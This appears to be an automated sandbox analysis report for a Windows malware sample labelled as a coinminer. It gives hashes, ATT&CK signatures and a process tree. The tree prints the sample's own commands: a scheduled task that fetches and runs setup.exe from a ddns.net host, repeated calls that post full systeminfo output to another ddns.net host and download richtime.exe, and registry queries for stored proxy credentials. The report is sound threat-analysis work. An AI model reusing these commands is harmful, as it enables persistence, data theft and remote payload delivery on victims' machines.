6e588aeadd1336f33fd0fcf9d451375c327bcdc95f5cd0e05b9cbd4792cd7ad1

Analysis

max time kernel
150s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 11:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-01_73df11f67b87b350457437f536bcabc7_coinminer_elex_wannacry.exe
Size 838KB
Sample261002-n45vyazfma
SHA256 6e588aeadd1336f33fd0fcf9d451375c327bcdc95f5cd0e05b9cbd4792cd7ad1
MD5 73df11f67b87b350457437f536bcabc7
SHA1 91c3d12fad4f1089b209113ba036c8fdee62e623
SHA512 767d7f212962917d87bbd9e1286ed04d2099c1d042f098134bb6325b31a41375947592a217f725db4fbb99c5fb0942676ae2f91866eef6db2384f7d15ee3ad63
SSDEEP 12288:bpRN/nV+NnCmNIks/EysKvqjigldJuFjBqg9DmTBs34Id:bpT/nV+NCQIkKK7zg9qgQId
TLSH
T10205B0C7F41281ECFC672CB14A3D5E9027D47E7BA3402867516A36062EF34A259FB91B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence upx

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
2664	ie_cash.exe
2948	MicrosoftCreate.exe
1756	MicrosoftCreate.exe
1444	MicrosoftCreate.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c450-13.dat	upx
behavioral2/memory/2664-15-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/2664-17-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/2948-20-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/1756-23-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/1444-25-0x0000000000400000-0x00000000004EF000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3416	cmd.exe
2688	cmd.exe
4164	cmd.exe
2384	cmd.exe
1868	cmd.exe
4548	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MicrosoftCreate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MicrosoftCreate.exe

System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftCreate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ie_cash.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftCreate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-01_73df11f67b87b350457437f536bcabc7_coinminer_elex_wannacry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftCreate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6040	PING.EXE
2948	MicrosoftCreate.exe
484	PING.EXE
812	PING.EXE
1756	MicrosoftCreate.exe
5952	PING.EXE
2508	PING.EXE
1444	MicrosoftCreate.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2948	MicrosoftCreate.exe
1756	MicrosoftCreate.exe
1444	MicrosoftCreate.exe

Delays execution with timeout.exe 8 IoCs

defense_evasion

pid	Process
3892	timeout.exe
3996	timeout.exe
1224	timeout.exe
5744	timeout.exe
1124	timeout.exe
4928	timeout.exe
1860	timeout.exe
4884	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2808	systeminfo.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5444	taskkill.exe
2560	taskkill.exe
1952	taskkill.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
484	PING.EXE
812	PING.EXE
5952	PING.EXE
2508	PING.EXE
6040	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2400	schtasks.exe
2396	schtasks.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5444	taskkill.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	1952	taskkill.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 3112 wrote to memory of 1868	3112	2026-10-01_73df11f67b87b350457437f536bcabc7_coinminer_elex_wannacry.exe	89
PID 1868 wrote to memory of 6116	1868	cmd.exe	91
PID 1868 wrote to memory of 4548	1868	cmd.exe	92
PID 4548 wrote to memory of 568	4548	cmd.exe	93
PID 4548 wrote to memory of 440	4548	cmd.exe	94
PID 1868 wrote to memory of 3416	1868	cmd.exe	95
PID 3416 wrote to memory of 5208	3416	cmd.exe	96
PID 3416 wrote to memory of 4872	3416	cmd.exe	97
PID 1868 wrote to memory of 2688	1868	cmd.exe	98
PID 2688 wrote to memory of 4500	2688	cmd.exe	99
PID 2688 wrote to memory of 5928	2688	cmd.exe	100
PID 1868 wrote to memory of 4164	1868	cmd.exe	101
PID 1868 wrote to memory of 2384	1868	cmd.exe	102
PID 1868 wrote to memory of 2808	1868	cmd.exe	103
PID 1868 wrote to memory of 2400	1868	cmd.exe	106
PID 1868 wrote to memory of 2396	1868	cmd.exe	107
PID 1868 wrote to memory of 6040	1868	cmd.exe	108
PID 1868 wrote to memory of 3892	1868	cmd.exe	112
PID 1868 wrote to memory of 5444	1868	cmd.exe	113
PID 1868 wrote to memory of 2948	1868	cmd.exe	114
PID 1868 wrote to memory of 3996	1868	cmd.exe	115
PID 1868 wrote to memory of 1224	1868	cmd.exe	117
PID 1868 wrote to memory of 484	1868	cmd.exe	118
PID 1868 wrote to memory of 812	1868	cmd.exe	119
PID 1868 wrote to memory of 5744	1868	cmd.exe	120
PID 1868 wrote to memory of 2560	1868	cmd.exe	121
PID 1868 wrote to memory of 1756	1868	cmd.exe	122
PID 1868 wrote to memory of 1124	1868	cmd.exe	123
PID 1868 wrote to memory of 4928	1868	cmd.exe	124
PID 1868 wrote to memory of 5952	1868	cmd.exe	125
PID 1868 wrote to memory of 2508	1868	cmd.exe	126
PID 1868 wrote to memory of 1860	1868	cmd.exe	127
PID 1868 wrote to memory of 1952	1868	cmd.exe	128
PID 1868 wrote to memory of 1444	1868	cmd.exe	130
PID 1868 wrote to memory of 4884	1868	cmd.exe	131

C:\Users\Admin\AppData\Local\Temp\2026-10-01_73df11f67b87b350457437f536bcabc7_coinminer_elex_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-01_73df11f67b87b350457437f536bcabc7_coinminer_elex_wannacry.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\21945.cmd" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\SysWOW64\chcp.com
    chcp 1251
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyServer"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4548
  - - C:\Windows\SysWOW64\reg.exe
      Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
      4⤵
      System Location Discovery: System Language Discovery
      PID:568
  - - C:\Windows\SysWOW64\find.exe
      Find /I "ProxyServer"
      4⤵
      System Location Discovery: System Language Discovery
      PID:440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyUser"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\SysWOW64\reg.exe
      Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5208
  - - C:\Windows\SysWOW64\find.exe
      Find /I "ProxyUser"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"|Find /I "ProxyPass"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\SysWOW64\reg.exe
      Reg.exe Query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4500
  - - C:\Windows\SysWOW64\find.exe
      Find /I "ProxyPass"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vol c:
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vol c:
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2384
- - C:\Windows\SysWOW64\systeminfo.exe
    systeminfo
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers system information
    PID:2808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Create /SC MINUTE /MO 30 /F /tn ie_cash_6DED4E5A_01 /tr "C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe -b -c -t 5 'http://bitwork.ddns.net/OIKPOMQY_6DED4E5A/setup.exe' -P 'C:\Users\Admin'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Create /SC MINUTE /MO 32 /F /tn ie_cash_6DED4E5A_02 /tr "C:\Users\Admin\setup.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2396
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 8 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6040
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 12
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:3892
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MicrosoftCreate.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5444
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
    MicrosoftCreate.exe --user-agent="Mozilla/5.0 (Linux; Android 7.1.1; SM-J510H Build/NMF26X) Mobile Safari/537.36" --post-data="versiya=arm_11.04&comp=OIKPOMQY&id=OIKPOMQY_6DED4E5A&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\OIKPOMQY+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.254+###[02]: fe80::53d5:f673:a47a:b9dc+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://winrouts.ddns.net" -q -N http://winrouts.ddns.net -O richtime.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - System Time Discovery
    PID:2948
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 5
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:3996
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:1224
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 7 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:484
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 8 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:812
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 19
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:5744
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MicrosoftCreate.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
    MicrosoftCreate.exe --user-agent="Mozilla/5.0 (Linux; Android 7.1.1; SM-J510H Build/NMF26X) Mobile Safari/537.36" --post-data="versiya=arm_11.04&comp=OIKPOMQY&id=OIKPOMQY_6DED4E5A&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\OIKPOMQY+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.254+###[02]: fe80::53d5:f673:a47a:b9dc+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://winrouts.ddns.net" -q -N http://winrouts.ddns.net -O richtime.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - System Time Discovery
    PID:1756
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 5
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:1124
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 29
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4928
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 7 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5952
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 8 8.8.8.8
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2508
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 35
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:1860
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im MicrosoftCreate.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
    MicrosoftCreate.exe --user-agent="Mozilla/5.0 (Linux; Android 7.1.1; SM-J510H Build/NMF26X) Mobile Safari/537.36" --post-data="versiya=arm_11.04&comp=OIKPOMQY&id=OIKPOMQY_6DED4E5A&sysinfo=Host Name: WELLSMITHPC+###OS Name: Microsoft Windows 11 Enterprise LTSC+###OS Version: 10.0.26100 N/A Build 26100+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: WellSmith+###Registered Organization: N/A+###Product ID: 00490-10000-00000-AA671+###Original Install Date: 2/28/2025, 11:22:41 AM+###System Boot Time: 2/28/2025, 1:06:07 AM+###System Manufacturer: Gigabyte Technology Co., Ltd.+###System Model: B660M GAMING X DDR4+###System Type: x64-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: Intel64 Family 6 Model 151 Stepping 2 GenuineIntel ~2500 Mhz+###BIOS Version: SeaBIOS rel-1.16.3-0-ga6ed6b70-prebuilt.dady.org, 4/1/2014+###Windows Directory: C:\WINDOWS+###System Directory: C:\WINDOWS\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 16,154 MB+###Available Physical Memory: 14,110 MB+###Virtual Memory: Max Size: 19,098 MB+###Virtual Memory: Available: 17,301 MB+###Virtual Memory: In Use: 1,797 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\OIKPOMQY+###Hotfix(s): N/A+###Network Card(s): 1 NIC(s) Installed.+###[01]: Realtek RTL8139C+ Fast Ethernet NIC+###Connection Name: Ethernet+###DHCP Enabled: No+###IP address(es)+###[01]: 10.127.0.254+###[02]: fe80::53d5:f673:a47a:b9dc+###Virtualization-based security: Status: Not enabled+###App Control for Business policy: Enforced+###App Control for Business user mode policy: Audit+###Security Features Enabled:+###Hyper-V Requirements: VM Monitor Mode Extensions: Yes+###Virtualization Enabled In Firmware: Yes+###Second Level Address Translation: Yes+###Data Execution Prevention Available: Yes+###" "http://winrouts.ddns.net" -q -N http://winrouts.ddns.net -O richtime.exe
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - System Time Discovery
    PID:1444
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 5
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4884

C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe
C:\Users\Admin\AppData\Roaming\Microsoft\IE\ie_cash.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

21945.cmd

Path C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\21945.cmd
Size 4KB
SHA256 f05143361b46211cae9ce5f4844b2ff822228783bf0d0c1b61f19cbb64909ddd
MD5 c4d423f4a2263265ecc451571d3a3502
SHA1 a77be46f9d57ba81df1c0dff11e1bce9cb81736d
SHA512 d61393eb26b711e86c99af2c7582d0fe3a9a9352af2217ed017e5ea58195e1ff43eab0730d8cf4135caa9c2525b90adb595ecd6952c82e07ccdbd726c788273f
SSDEEP 96:hetkObOJsPOMcUNadQseXnYG7bKLnU9bjwOwAy+Xf/ampPy:hQwQf7OTU9wYf/Q
TLSH
T12FB1BA3D6B83A7DA6DAB313053BF2191762EE158139B858EA834E0441FAF355E4F0EC5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MicrosoftCreate.exe

Path C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\MicrosoftCreate.exe
Size 392KB
SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
MD5 bd126a7b59d5d1f97ba89a3e71425731
SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
TLSH
T1518423487A2AD85DCE83CEBB1A65773C663C6010C9E985EE35DCDF483E7A125360389D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1444-25-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/1756-23-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/2664-15-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/2664-17-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/2948-20-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads